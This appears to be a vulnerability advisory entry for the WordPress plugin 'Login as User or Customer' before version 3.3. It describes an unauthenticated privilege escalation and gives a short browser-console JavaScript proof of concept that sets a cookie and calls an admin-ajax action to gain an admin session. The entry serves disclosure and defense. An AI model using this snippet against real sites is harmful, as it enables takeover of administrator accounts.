WordPress Plugin Vulnerabilities

Login as User or Customer < 3.3 - Unauthenticated Privilege Escalation to Admin

Description

The plugin lacks authorization checks to ensure that users are allowed to log in as another one, which could allow unauthenticated attackers to obtain a valid admin session.

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as an unauthenticated user, then reload the page to be logged in as the user with ID:

document.cookie = "loginas_old_user_id=1";
fetch("/wp-admin/admin-ajax.php?action=loginas_return_admin", {
  "method": "GET",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

Affects Plugins

References

Classification

Miscellaneous

Original Researcher
David
Submitter
David
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-12-27 (about 1 years ago)
Added
2022-12-27 (about 1 years ago)
Last Updated
2022-12-27 (about 1 years ago)

Other